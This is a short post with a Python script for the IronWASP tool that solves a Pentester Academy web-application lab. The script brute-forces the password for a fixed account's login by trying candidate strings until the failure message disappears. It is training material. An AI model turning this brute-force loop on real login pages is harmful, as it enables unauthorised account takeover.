Python script written using IronWASP APIs to solve Pentester Academy's WAP Challenge -1. Link to challenge - http://www.pentesteracademy.com/video?id=153

WAP_Challenge_1_Solution_in_Python.py

#Script to help solve http://www.pentesteracademy.com/video?id=153
#This script can be run from the multi-line scripting shell of IronWASP v0.9.7.2 and above
#Make sure the scripting shell language is selected as Python before executing
#The log id value here is one 1. The id value must point to the log containing the login request

r = Request.FromProxyLog(1)
r.Query.Set("email", "jack@pentesteracademy.com")

bf = BruteForcer("xyz", 5,5)
while bf.HasMore():
  password = bf.GetNext()
  r.Query.Set("password", password)
  res = r.Send()
  if res.BodyString.count("Failed! Please try again!") == 0:
    print "Password is - " + password
    break
  else:
    print password

hey